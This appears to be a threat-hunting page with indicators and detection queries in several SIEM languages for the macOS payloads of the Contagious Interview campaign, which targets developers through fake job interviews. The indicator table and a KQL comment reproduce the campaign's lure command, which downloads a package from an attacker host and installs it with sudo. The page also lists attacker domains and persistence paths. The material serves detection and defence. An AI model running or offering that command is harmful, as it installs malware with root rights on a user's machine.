macOS Persistence and Staging Paths Used by Contagious Interview Payloads

macOSNetwork

TTP Hunt medium Contagious InterviewDeceptiveDevelopmentClickFixGolangGhost

The launch agents, /var/tmp staging files, fake installer packages and abused developer signature that Contagious Interview's macOS payloads leave on a developer's Mac, from the FlexibleFerret, GolangGhost and BeaverTail installer lures.

What this hunt looks for

Contagious Interview reaches Macs as readily as Windows machines. Sekoia documents the macOS lure writing coremedia.sh and a VCam archive into /var/tmp and GolangGhost persisting through /Library/LaunchAgents/com.drive.plist. Windows coverage of FlexibleFerret and GolangGhost is in ClickFake Interview.

SentinelOne documents a dropper named versus.pkg whose postinstall script logs to /private/tmp/postinstall.log, stages executables in /var/tmp and installs a launch agent labelled com.zoom.plist (the genuine Zoom agent is us.zoom.ZoomDaemon.plist) pointing at /private/var/tmp/logd. It was signed with Apple Team ID 58CD8AD5Z4 at the time of reporting.

GitLab's September 2025 note records the BeaverTail installer lure: a curl command with certificate checking disabled and a numeric user-agent guardrail, fetching /var/tmp/nvidia.pkg from nvidiasdk.fly[.]dev and installing it with sudo, with files at ~/.npc and ~/.myvars. A Zoom-labelled launch agent executing from a temporary directory is close to conclusive.

Technique
Launch Agent persistence (MITRE ATT&CK T1543.001), masquerading as Zoom and operating-system components (T1036.005), user execution of a pasted terminal command (T1204.004) or a fake installer package (T1204.002), and staging in world-writable temporary directories.
Data sources
macOS EDR file and process telemetry, osquery, Launch agent inventory, Code-signing metadata
Last updated
2026-10-04

Indicators

The atomic values this hunt matches on, listed separately from the queries so they can be lifted into tooling that speaks none of the query languages below. Every value here is reported by one of the sources cited at the foot of this page.

TypeValueNote
File path /var/tmp/coremedia.sh, /var/tmp/VCam.zip, /var/tmp/VCam/ Written by the macOS ClickFake Interview lure command (Sekoia).
File path /Library/LaunchAgents/com.drive.plist GolangGhost persistence on macOS (Sekoia).
File path ~/Library/LaunchAgents/com.zoom.plist FlexibleFerret persistence label. The genuine Zoom launch agent is us.zoom.ZoomDaemon.plist (SentinelOne).
File path /private/var/tmp/logd Executable the com.zoom.plist launch agent targets, named to resemble the system log daemon (SentinelOne).
File path /private/tmp/postinstall.log Progress log written by the versus.pkg postinstall script (SentinelOne).
Package versus.pkg Apple Installer package that drops FlexibleFerret (SentinelOne).
Dialog text This file is damaged and cannot be opened Decoy error the dropper shows, imitating Gatekeeper (SentinelOne).
Apple Team ID 58CD8AD5Z4 Valid developer identity the FlexibleFerret sample was signed with at the time of reporting (SentinelOne).
Domain zoom.callservice[.]us Contacted by the fake zoom binary (SentinelOne).
Command (macOS) curl -k -A 204 -o /var/tmp/nvidia.pkg https://nvidiasdk.fly[.]dev/nvs && sudo installer -pkg /var/tmp/nvidia.pkg -target / Reproduced from GitLab's tech note. The numeric user-agent is an execution guardrail: a mismatched value receives a benign decoy.
File path ~/.npc, ~/.myvars InvisibleFerret entry point and the password-exfiltration file in the September 2025 variant (GitLab).
Domain nvidiasdk.fly[.]dev, businesshire[.]top Payload host and recruiting lure site (GitLab).
Domain api.smartdriverfix[.]cloud Staging host for both the Windows and macOS ClickFake Interview commands (Sekoia).

Logic

Every query below implements these steps, so the same hunt returns the same result in each product.

  1. Collect: file writes, process starts and DNS or network events on macOS endpoints, plus launchd and signing state through osquery
  2. Match: file written is a com.zoom.plist or com.drive.plist LaunchAgent, or staged coremedia.sh, VCam.zip, nvidia.pkg, versus.pkg, logd, .npc
  3. Match: or command line names those staging paths, the numeric user-agent -A 204, or the "This file is damaged" decoy dialog
  4. Match: or lookup of zoom.callservice.us, businesshire.top, nvidiasdk.fly.dev or api.smartdriverfix.cloud (lower fidelity, rotates)
  5. Match: or, osquery only, a launch agent running from /var/tmp or a binary signed with Apple Team ID 58CD8AD5Z4 (lower fidelity)
  6. Report: Macs with the signal kinds hit, most kinds first

Queries

Defender / Sentinel KQL

Written for this site, from indicators reported by Sekoia, SentinelOne, GitLab

A Mac with a LaunchAgent or staging-file hit, or several signal kinds, shows the Contagious Interview macOS payload; a domain hit alone shows only that the host was contacted.

// GitLab's BeaverTail lure (defanged): curl -k -A 204 -o /var/tmp/nvidia.pkg https://nvidiasdk.fly[.]dev/nvs && sudo installer -pkg /var/tmp/nvidia.pkg -target /
union
    // optional: lower fidelity, the four hosts come from specific samples and rotate; delete this line and the branch below it
    (DeviceNetworkEvents
        | where Timestamp > ago(90d)
        | where RemoteUrl has_any ("zoom.callservice.us", "businesshire.top", "nvidiasdk.fly.dev", "api.smartdriverfix.cloud")
        | project Timestamp, DeviceId, DeviceName, Signal = "domain", Detail = RemoteUrl),
    (DeviceFileEvents
        | where Timestamp > ago(30d) and ActionType in ("FileCreated", "FileModified", "FileRenamed")
        | extend Path = iff(FolderPath endswith FileName, FolderPath, strcat(FolderPath, "/", FileName))
        | where Path matches regex @"(?i)(/library/launchagents/com\.(zoom|drive)\.plist|/versus\.pkg|^/users/[^/]+/\.(npc|myvars)|^(/private)?(/var)?/tmp/(coremedia\.sh|vcam\.zip|vcam/.+|nvidia\.pkg|logd|postinstall\.log))$"
        | project Timestamp, DeviceId, DeviceName, Signal = "file", Detail = Path),
    (DeviceProcessEvents
        | where Timestamp > ago(30d)
        | where ProcessCommandLine matches regex @"(?i)(/var/tmp/(coremedia\.sh|vcam|nvidia\.pkg)|versus\.pkg|this file is damaged and cannot be opened| -a 204 )"
            // optional: lower fidelity, developers also download into /var/tmp with certificate checking disabled; delete this line and the next
            or (FileName =~ "curl" and ProcessCommandLine contains " -k " and ProcessCommandLine contains "/var/tmp/")
        | project Timestamp, DeviceId, DeviceName, Signal = "process", Detail = ProcessCommandLine)
| summarize Hits = count(), Signals = make_set(Signal), FirstSeen = min(Timestamp), LastSeen = max(Timestamp), Details = make_set(Detail, 5) by DeviceId, DeviceName
| order by array_length(Signals) desc, LastSeen desc
Lower-fidelity parts (2)
  • the four staging hosts (zoom.callservice.us, businesshire.top, nvidiasdk.fly.dev, api.smartdriverfix.cloud) — they come from specific samples and the infrastructure rotates. Remove: delete the // optional: comment line and the (DeviceNetworkEvents ...) branch beneath it
  • the curl -k into /var/tmp clause — developers also download into /var/tmp with certificate checking disabled. Remove: delete the // optional: comment line and the line beneath it

Splunk SPL

Written for this site, from indicators reported by Sekoia, SentinelOne, GitLab

The same file, command-line and DNS signals over the Endpoint and Network_Resolution data models.

```Placeholders: the Endpoint data model is populated from macOS file and process events; Network_Resolution carries DNS lookups.```
| tstats count max(_time) AS _time FROM datamodel=Endpoint.Filesystem WHERE earliest=-30d
    (Filesystem.file_path="*/LaunchAgents/com.zoom.plist" OR Filesystem.file_path="*/LaunchAgents/com.drive.plist" OR Filesystem.file_path="*/tmp/coremedia.sh" OR Filesystem.file_path="*/tmp/VCam.zip" OR Filesystem.file_path="*/tmp/VCam/*" OR Filesystem.file_path="*/tmp/nvidia.pkg" OR Filesystem.file_path="*/tmp/logd" OR Filesystem.file_path="*/tmp/postinstall.log" OR Filesystem.file_path="*/versus.pkg" OR Filesystem.file_path="/Users/*/.npc" OR Filesystem.file_path="/Users/*/.myvars")
    BY Filesystem.dest, Filesystem.file_path
| rename Filesystem.dest AS host, Filesystem.file_path AS detail
| eval signal="file"
| append
    [| tstats count max(_time) AS _time FROM datamodel=Endpoint.Processes WHERE earliest=-30d
        (Processes.process="*/var/tmp/coremedia.sh*" OR Processes.process="*/var/tmp/VCam*" OR Processes.process="*/var/tmp/nvidia.pkg*" OR Processes.process="*versus.pkg*" OR Processes.process="*This file is damaged and cannot be opened*" OR Processes.process="* -A 204 *"
        ```optional: lower fidelity, developers also download into /var/tmp with certificate checking disabled; delete this line and the next```
        OR (Processes.process="*curl*" AND Processes.process="* -k *" AND Processes.process="*/var/tmp/*")
        )
        BY Processes.dest, Processes.process
     | rename Processes.dest AS host, Processes.process AS detail
     | eval signal="process"]
```optional: lower fidelity, the four hosts come from specific samples and rotate; delete this line and the append block below it```
| append
    [| tstats count max(_time) AS _time FROM datamodel=Network_Resolution.DNS WHERE earliest=-90d DNS.query IN ("zoom.callservice.us","*.zoom.callservice.us","businesshire.top","*.businesshire.top","nvidiasdk.fly.dev","*.nvidiasdk.fly.dev","api.smartdriverfix.cloud","*.api.smartdriverfix.cloud") BY DNS.src, DNS.query
     | rename DNS.src AS host, DNS.query AS detail
     | eval signal="domain"]
| stats count AS hits min(_time) AS first_seen max(_time) AS last_seen values(signal) AS signals values(detail) AS details BY host
| eval signal_count=mvcount(signals)
| convert ctime(first_seen) ctime(last_seen)
| sort - signal_count, - last_seen
Lower-fidelity parts (2)
  • the four staging hosts (zoom.callservice.us, businesshire.top, nvidiasdk.fly.dev, api.smartdriverfix.cloud) — they come from specific samples and the infrastructure rotates. Remove: delete the optional comment line and the append block beneath it
  • the curl -k into /var/tmp clause — developers also download into /var/tmp with certificate checking disabled. Remove: delete the optional comment line and the line beneath it

Sigma

Written for this site, from indicators reported by Sekoia, SentinelOne, GitLab

Three rules that apply to macOS file, process and DNS telemetry.

title: Contagious Interview macOS Staging File or LaunchAgent Written
id: a1f0c9d2-4b7e-4c3a-9f61-2d8e5b7a1c02
status: experimental
description: >
  Detects the files the Contagious Interview macOS payloads write: the
  com.zoom.plist and com.drive.plist launch agents, the staged coremedia.sh,
  VCam, nvidia.pkg, logd and postinstall.log, versus.pkg, and the .npc and
  .myvars dotfiles, as documented by Sekoia, SentinelOne and GitLab.
references:
  - https://www.sekoia.com/blog/clickfake-interview-campaign-by-lazarus
  - https://www.sentinelone.com/blog/macos-flexibleferret-further-variants-of-dprk-malware-family-unearthed/
  - https://gitlab-com.gitlab.io/gl-security/security-tech-notes/threat-intelligence-tech-notes/north-korean-malware-sept-2025/
logsource:
  category: file_event
detection:
  selection_name:
    TargetFilename|endswith:
      - '/Library/LaunchAgents/com.zoom.plist'
      - '/Library/LaunchAgents/com.drive.plist'
      - '/tmp/coremedia.sh'
      - '/tmp/VCam.zip'
      - '/tmp/nvidia.pkg'
      - '/tmp/logd'
      - '/tmp/postinstall.log'
      - '/versus.pkg'
      - '/.npc'
      - '/.myvars'
  selection_dir:
    TargetFilename|contains: '/tmp/VCam/'
  condition: 1 of selection_*
falsepositives:
  - Developers who keep a file named logd or .npc in a temporary or home directory
level: high
---
title: Contagious Interview macOS Lure Command
id: a1f0c9d2-4b7e-4c3a-9f61-2d8e5b7a1c03
status: experimental
description: >
  Detects the terminal one-liners Sekoia and GitLab document for the macOS
  lures: the staged script and package names, the numeric user-agent
  guardrail and the fake Gatekeeper dialog text.
references:
  - https://www.sekoia.com/blog/clickfake-interview-campaign-by-lazarus
  - https://gitlab-com.gitlab.io/gl-security/security-tech-notes/threat-intelligence-tech-notes/north-korean-malware-sept-2025/
logsource:
  category: process_creation
detection:
  selection_cmd:
    CommandLine|contains:
      - '/var/tmp/coremedia.sh'
      - '/var/tmp/VCam'
      - '/var/tmp/nvidia.pkg'
      - 'versus.pkg'
      - 'This file is damaged and cannot be opened'
      - ' -A 204 '
  # optional: lower fidelity, developers also download into /var/tmp with certificate checking disabled; delete this line and the selection below it
  selection_curl:
    Image|endswith: '/curl'
    CommandLine|contains|all:
      - ' -k '
      - '/var/tmp/'
  condition: 1 of selection_*
falsepositives:
  - Developers who download into /var/tmp with certificate checking disabled (selection_curl only)
level: high
---
# optional: lower fidelity, the four hosts come from specific samples and rotate; delete this line and every document below it
title: DNS Lookup of a Contagious Interview macOS Staging Host
id: a1f0c9d2-4b7e-4c3a-9f61-2d8e5b7a1c04
status: experimental
description: >
  Detects lookups of the fake zoom binary callback, the BeaverTail payload
  host, the recruiting lure site and the ClickFake staging host.
references:
  - https://www.sentinelone.com/blog/macos-flexibleferret-further-variants-of-dprk-malware-family-unearthed/
  - https://gitlab-com.gitlab.io/gl-security/security-tech-notes/threat-intelligence-tech-notes/north-korean-malware-sept-2025/
logsource:
  category: dns_query
detection:
  selection_exact:
    QueryName:
      - 'zoom.callservice.us'
      - 'businesshire.top'
      - 'nvidiasdk.fly.dev'
      - 'api.smartdriverfix.cloud'
  selection_sub:
    QueryName|endswith:
      - '.zoom.callservice.us'
      - '.businesshire.top'
      - '.nvidiasdk.fly.dev'
      - '.api.smartdriverfix.cloud'
  condition: 1 of selection_*
level: high
Lower-fidelity parts (2)
  • the four staging hosts (zoom.callservice.us, businesshire.top, nvidiasdk.fly.dev, api.smartdriverfix.cloud) — they come from specific samples and the infrastructure rotates. Remove: delete the # optional: comment line and every document beneath it
  • the curl -k into /var/tmp clause — developers also download into /var/tmp with certificate checking disabled. Remove: delete the # optional: comment line and the selection_curl block beneath it

CrowdStrike LogScale

Written for this site, from indicators reported by Sekoia, SentinelOne, GitLab

The command-line, curl and DNS signals over Falcon events on macOS; Falcon file-write events are not used, so staged files surface through the osquery and process signals.

event_platform=Mac
| (#event_simpleName=/^(ProcessRollup2|SyntheticProcessRollup2)$/ CommandLine=/(\/var\/tmp\/(coremedia\.sh|vcam|nvidia\.pkg)|versus\.pkg|this file is damaged and cannot be opened| -a 204 )/i)
    // optional: lower fidelity, developers also download into /var/tmp with certificate checking disabled; delete this line and the next
    or (#event_simpleName=/^(ProcessRollup2|SyntheticProcessRollup2)$/ FileName=curl CommandLine=/ -k .*\/var\/tmp\//)
    // optional: lower fidelity, the four hosts come from specific samples and rotate; delete this line and the next
    or (#event_simpleName=DnsRequest DomainName=/(^|\.)(zoom\.callservice\.us|businesshire\.top|nvidiasdk\.fly\.dev|api\.smartdriverfix\.cloud)$/i)
| groupBy([aid, ComputerName], function=[count(as=Hits), count(#event_simpleName, distinct=true, as=SignalKinds), collect([#event_simpleName]), min(@timestamp, as=FirstSeen), max(@timestamp, as=LastSeen)])
| sort(SignalKinds, order=desc)
Lower-fidelity parts (2)
  • the four staging hosts (zoom.callservice.us, businesshire.top, nvidiasdk.fly.dev, api.smartdriverfix.cloud) — they come from specific samples and the infrastructure rotates. Remove: delete the // optional: comment line and the line beneath it
  • the curl -k into /var/tmp clause — developers also download into /var/tmp with certificate checking disabled. Remove: delete the // optional: comment line and the line beneath it

Elastic

Written for this site, from indicators reported by Sekoia, SentinelOne, GitLab

The same file, command-line and DNS signals over Elastic Defend events from macOS hosts.

FROM logs-endpoint.events.*
| WHERE host.os.type == "macos"
| EVAL path = TO_LOWER(file.path), cmd = TO_LOWER(process.command_line), name = TO_LOWER(COALESCE(dns.question.name, destination.domain))
| WHERE path RLIKE "(.*/library/launchagents/com\\.(zoom|drive)\\.plist|.*/versus\\.pkg|/users/[^/]+/\\.(npc|myvars)|(/private)?(/var)?/tmp/(coremedia\\.sh|vcam\\.zip|vcam/.+|nvidia\\.pkg|logd|postinstall\\.log))"
    OR cmd RLIKE ".*(/var/tmp/(coremedia\\.sh|vcam|nvidia\\.pkg)|versus\\.pkg|this file is damaged and cannot be opened| -a 204 ).*"
    OR (TO_LOWER(process.name) == "curl" AND cmd RLIKE ".* -k .*/var/tmp/.*")
    OR name RLIKE "(.*\\.)?(zoom\\.callservice\\.us|businesshire\\.top|nvidiasdk\\.fly\\.dev|api\\.smartdriverfix\\.cloud)"
| EVAL signal = CASE(file.path IS NOT NULL, "file", process.command_line IS NOT NULL, "process", "domain")
| STATS hits = COUNT(*), signal_kinds = COUNT_DISTINCT(signal), signals = VALUES(signal), last_seen = MAX(@timestamp) BY host.name
| SORT signal_kinds DESC, last_seen DESC
Lower-fidelity parts (2)
  • the four staging hosts (zoom.callservice.us, businesshire.top, nvidiasdk.fly.dev, api.smartdriverfix.cloud) — they come from specific samples and the infrastructure rotates. Remove: delete the final OR line beginning name RLIKE
  • the curl -k into /var/tmp clause — developers also download into /var/tmp with certificate checking disabled. Remove: delete the OR line beginning (TO_LOWER(process.name) == "curl"

Cortex XQL

Written for this site, from indicators reported by Sekoia, SentinelOne, GitLab

The same file, command-line and DNS signals over Cortex events from macOS agents.

dataset = xdr_data
| filter agent_os_type = ENUM.AGENT_OS_MAC
| alter host = lowercase(coalesce(dns_query_name, action_external_hostname, ""))
| filter (event_type = ENUM.FILE and lowercase(action_file_path) ~= "(/library/launchagents/com[.](zoom|drive)[.]plist|/versus[.]pkg|^/users/[^/]+/[.](npc|myvars)|^(/private)?(/var)?/tmp/(coremedia[.]sh|vcam[.]zip|vcam/.+|nvidia[.]pkg|logd|postinstall[.]log))$")
    or (event_type = ENUM.PROCESS and lowercase(action_process_image_command_line) ~= "(/var/tmp/(coremedia[.]sh|vcam|nvidia[.]pkg)|versus[.]pkg|this file is damaged and cannot be opened| -a 204 )")
        // optional: lower fidelity, developers also download into /var/tmp with certificate checking disabled; delete this line and the next
    or (event_type = ENUM.PROCESS and lowercase(action_process_image_name) = "curl" and lowercase(action_process_image_command_line) ~= " -k .*/var/tmp/")
        // optional: lower fidelity, the four hosts come from specific samples and rotate; delete this line and the next
    or (event_type = ENUM.NETWORK and host ~= "(^|[.])(zoom[.]callservice[.]us|businesshire[.]top|nvidiasdk[.]fly[.]dev|api[.]smartdriverfix[.]cloud)$")
| comp count() as hits, count_distinct(event_type) as signal_kinds, max(_time) as last_seen by agent_hostname
| sort desc signal_kinds, desc last_seen
Lower-fidelity parts (2)
  • the four staging hosts (zoom.callservice.us, businesshire.top, nvidiasdk.fly.dev, api.smartdriverfix.cloud) — they come from specific samples and the infrastructure rotates. Remove: delete the // optional: comment line and the line beneath it
  • the curl -k into /var/tmp clause — developers also download into /var/tmp with certificate checking disabled. Remove: delete the // optional: comment line and the line beneath it

osquery

Written for this site, from indicators reported by Sekoia, SentinelOne, GitLab

A point-in-time check of launch agents, staged files and the reported signing identity on the Mac in hand.

SELECT 'launch agent' AS signal, path AS item, COALESCE(program, '') || ' ' || COALESCE(program_arguments, '') AS detail
FROM launchd
WHERE path LIKE '%/LaunchAgents/com.zoom.plist'
   OR path LIKE '%/LaunchAgents/com.drive.plist'
   OR program LIKE '/var/tmp/%'
   OR program LIKE '/private/var/tmp/%'
   OR program_arguments LIKE '%/var/tmp/%'
UNION ALL
SELECT 'file', path, CAST(size AS TEXT)
FROM file
WHERE ((path LIKE '/var/tmp/%' OR path LIKE '/private/var/tmp/%' OR path LIKE '/private/tmp/%')
        AND (filename IN ('coremedia.sh', 'VCam.zip', 'nvidia.pkg', 'logd', 'postinstall.log', 'versus.pkg') OR path LIKE '/var/tmp/VCam/%'))
   OR path LIKE '/Users/%/.npc'
   OR path LIKE '/Users/%/.myvars'
-- optional: lower fidelity, a Team ID is a point-in-time identity that may be revoked or reused; delete this line and the three below it
UNION ALL
SELECT 'signed with reported Team ID', f.path, s.team_identifier
FROM file f JOIN signature s ON s.path = f.path
WHERE (f.path LIKE '/var/tmp/%' OR f.path LIKE '/private/var/tmp/%' OR f.path LIKE '/Applications/%') AND s.team_identifier = '58CD8AD5Z4';
Lower-fidelity parts (1)
  • the Team ID 58CD8AD5Z4 signature check — a Team ID is a point-in-time identity that may since have been revoked or reused. Remove: delete the -- optional: comment line and the UNION ALL, SELECT, FROM and WHERE lines beneath it, ending at the semicolon

False positives and tuning

Developers do download into /var/tmp, and curl with certificate checking disabled is careless rather than malicious alone. The launch-agent checks are precise: a com.zoom.plist not signed by Zoom, or any agent running from /var/tmp.

The Team ID and domains are point-in-time indicators from specific samples; the paths and labels have recurred across several campaigns. On Macs without an EDR agent, the osquery query is the practical route.

Sources

Tuning required before use This hunt is a starting point. Adapt the queries to your schema, validate them against your baseline and tune them for the false positives noted above. Indicators go stale as operators rotate hosts.